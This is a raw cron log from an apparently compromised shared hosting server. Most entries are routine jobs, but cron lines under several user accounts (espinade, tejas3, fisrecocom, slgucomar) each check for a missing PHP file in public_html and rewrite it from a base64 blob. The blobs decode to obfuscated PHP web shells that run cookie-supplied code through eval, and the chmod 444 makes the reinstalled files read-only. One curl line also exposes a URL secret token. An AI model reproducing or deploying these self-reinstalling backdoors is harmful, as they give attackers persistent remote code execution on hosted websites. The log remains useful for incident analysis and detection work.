Mar  1 05:12:02 medusa CROND[28952]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:12:02 medusa CROND[28950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:12:02 medusa CROND[28953]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:12:02 medusa CROND[28954]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:12:02 medusa CROND[28956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:12:02 medusa CROND[28957]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:12:02 medusa CROND[28958]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:12:02 medusa CROND[28959]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:12:02 medusa CROND[28960]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 05:12:02 medusa CROND[28962]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:13:01 medusa CROND[20607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:13:01 medusa CROND[20709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:13:01 medusa CROND[20710]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 05:13:01 medusa CROND[20714]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:13:01 medusa CROND[20715]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:13:01 medusa CROND[20723]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:13:01 medusa CROND[20724]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:13:01 medusa CROND[20730]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:13:01 medusa CROND[20731]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 05:13:01 medusa CROND[20733]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 05:13:01 medusa CROND[20734]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:13:01 medusa CROND[20736]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:13:01 medusa CROND[20737]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:13:01 medusa CROND[20739]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:14:01 medusa CROND[11781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:14:01 medusa CROND[11849]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:14:01 medusa CROND[11850]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 05:14:01 medusa CROND[11851]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:14:01 medusa CROND[11853]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:14:01 medusa CROND[11856]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:14:01 medusa CROND[11855]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:14:01 medusa CROND[11859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:14:01 medusa CROND[11865]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:14:01 medusa CROND[11866]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 